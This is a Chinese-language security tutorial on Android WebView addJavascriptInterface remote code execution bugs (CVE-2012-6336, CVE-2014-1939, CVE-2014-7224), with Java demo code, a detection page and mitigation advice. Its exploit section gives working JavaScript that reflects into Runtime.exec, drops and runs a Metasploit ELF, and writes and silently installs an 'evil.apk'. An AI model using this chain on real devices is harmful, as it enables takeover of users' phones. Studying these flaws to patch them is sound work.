基于java语言开发的android系统,有许多android原生组件存在的问题,webview就是其中一个核心组件,它是app内部与web界面进行交互并进行展示页面的控件,相当于在软件内部嵌入的内置浏览器。由于其中使用的方式和场景复杂多样,所以webview组件在出现以来已经被挖掘出了许多重大漏洞,但是随着android系统版本的换代升级,这个组件的使用规范也被android官方不断的修复。
webview常用于对url的请求、页面加载、渲染、页面交互等。
webview加载js又分为:本地加载(file:///android_asset/obj.html)、远程加载(https://vps:8080/exp.html)
直接加载url:
public class MainActivity extends AppCompatActivity { WebView webView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); webView = (WebView) findViewById(R.id.web_view); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl("https://www.baidu.com"); } }
本地加载js:
public class MainActivity extends AppCompatActivity { WebView webView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); webView = (WebView) findViewById(R.id.web_view); webView.getSettings().setJavaScriptEnabled(true); // 通过addJavascriptInterface()将Java对象映射到JS对象 // 参数1:Javascript对象名 // 参数2:Java对象名 webView.addJavascriptInterface(MainActivity.this, "main"); webView.loadUrl("file:///android_asset/js.html"); } /** * 提供接口在Webview中供JS调用 */ // 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解,API 17之下不添加注释仍可以调用 @JavascriptInterface public void jsCallJava(String message){ Toast.makeText(this, message, Toast.LENGTH_SHORT).show(); } }
assets 文件夹下js.html:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>testjs</title> <script> </script> </head> <body> <!--点击按钮则调用jsCallJava函数--> <button type="button" onClick="window.main.jsCallJava('Message From Js')" >Js Call Java</button> </body> </html>
整个实现过程:通过点击按钮,利用反射机制调用了app提供的
main
接口下的jsCallJava
方法,传参为Message From Js
, android中的回调函数再实现Toast弹窗功能。
点击按钮实现java与JS的交互:
远程加载JS:
webView.loadUrl("http://192.168.50.177:8080/js.html"); //只需要将加载的url更改为http访问,并将js.html放在Python HttpServer下进行监听
熟悉java安全的都知道,由于上面的案例中代码并没有对addJavascriptInterface
进行任何限制,所以可以利用反射机制调用Android API getRuntime进行远程代码执行。
POC:
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"/> <title>WebView漏洞检测</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"> </head> <body> <p> 提示:如何检测出“accessibility”和 “accessibilityTraversal”接口----设置-辅助功能-开启系统或第三方辅助服务<br><br> <b><font color=red>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</font></b> </p> <script type="text/javascript"> function check() { //遍历window对象,是为了找到包含getClass()的对象 //因为Android映射的JS对象也在window中,所以肯定会遍历到 for (var obj in window) { try { if ("getClass" in window[obj]) { try{ window[obj].getClass(); document.write('<span style="color:red">'+obj+'</span>'); document.write('<br />'); }catch(e){ } } } catch(e) { } } } check(); </script> </body> </html>
EXP:
<script type="text/javascript"> var i=0; function getContents(inputStream) { var contents = ""+i; var b = inputStream.read(); var i = 1; while(b != -1) { var bString = String.fromCharCode(b); contents += bString; contents += "\n" b = inputStream.read(); } i=i+1; return contents; } function execute(cmdArgs) { for (var obj in window) { console.log(obj); if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } } var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]); document.write(getContents(res.getInputStream())); </script>
想要上线需要执行反弹shell,但是鉴于我是android4.1操作系统,且没有nc等反弹shell的命令,所以只能通过注入木马执行上线。
第一种方法是安装木马apk,安装后需要用户主动点击上线;
第二种方法是通过注入一个二进制木马文件,然后远程代码执行进行上线。
由于第一种时效性不好,所以我们尝试第二种。
var bin = "\\x50\\x4b\\x03\\x04\\x14\\x85\\xbe\\x86\\xbe\\x83\\x5e\\x40\\x3f\\x42\\xbf--------\\x40\\x7f" execute(["/system/bin/sh","-c","echo '"+bin+"' > /data/data/com.example.webviewtest/testBin"]); execute(["chmod","755","/data/data/com.example.webviewtest/testBin"]); execute(["/data/data/com.example.webviewtest/testBin"]);
实现过程:通过msf生成相应系统版本(x86/x86)的elf
,再将shellcode转为16进制(必须是\\x格式),由加载的js代码实现反射。app安装后,可以实现打开瞬间上线
在我想要尝试注入恶意apk文件,发现shellcode文件大小存在限制,测试发现shellcode代码量过大会加载不完全,整个过程webview显示页面会卡住,并不能实现正常上线效果,所以通过分步注入分步写入apk shellcode,具体实现如下:
var armBinary1 = "\\x50\\x4b\\x03\\x04\\x14\\x42\\xbf--------\\x40\\x7f" var armBinary2 = "\\x93\\x9a\\xff\\xa2\\x56--------\\x5f\\x0a\\x3d\\" var armBinary3 = "\\xdb\\x06\\x00\\x00\\x0c\\x1c--------\\\\x00\\x00\\x13" var armBinary4 = "\\x2e\\x78\\x6d\\x6c\\xad\\x97--------\\\\xcb\\x00\\x00\\x00" execute(["/system/bin/sh","-c","echo -n '"+armBinary1+"' > /mnt/sdcard/evil.apk"]); execute(["/system/bin/sh","-c","echo -n '"+armBinary2+"' >> /mnt/sdcard/evil.apk"]); execute(["/system/bin/sh","-c","echo -n '"+armBinary3+"' >> /mnt/sdcard/evil.apk"]); execute(["/system/bin/sh","-c","echo -n '"+armBinary4+"' >> /mnt/sdcard/evil.apk"]); execute(["su","-c","pm install -r /mnt/sdcard/evil.apk"]);
通过将shellcode分成多份,再对文件进行追加写入,最后pm install 安装指定位置下的恶意apk。
项目地址:Android-webview-inject-shell
在API level低于16时,android系统对webView.addJavascriptInterface
并没有进行任何校验,漏洞编号:CVE-2012-6336 (Android <= 4.1.2)
出现第一个RCE漏洞之后,android为了防止java层的函数被随意调用,规定被调用的函数必须以@JavascriptInterface
进行注释,且不能随意给Java层函数添加 @JavascriptInterface
防护建议:
尽量不要使用addJavascriptInterface接口,以免带来不必要的安全隐患,如果一定要使用addJavascriptInterface接口:
在2014年发现了android系统中java/android/webkit/BrowserFrame.java
中的searchBoxJavaBridge_
接口存在远程代码执行漏洞,漏洞编号:CVE-2014-1939 (Android <= 4.3.1)
防护建议:移除存在漏洞的接口
removeJavascriptInterface("searchBoxJavaBridge_");
同年香港理工大学研究人员发现了webkit中默认接口位于java/android/webkit/AccessibilityInjector.java
,分别是accessibility
和accessibilityTraversal
,调用这个组件的应用在开启辅助功能选项中第三方服务的安卓系统会造成远程代码执行漏洞。漏洞编号:CVE-2014-7224 (Android <= 4.4)
removeJavascriptInterface("accessibility"); removeJavascriptInterface("accessibilityTraversal");
通过java的反射机制致使未进行安全防护的交互接口存在远程代码执行漏洞,存在于android4.4版本之前,初步了解了在安卓系统组件中存在的漏洞。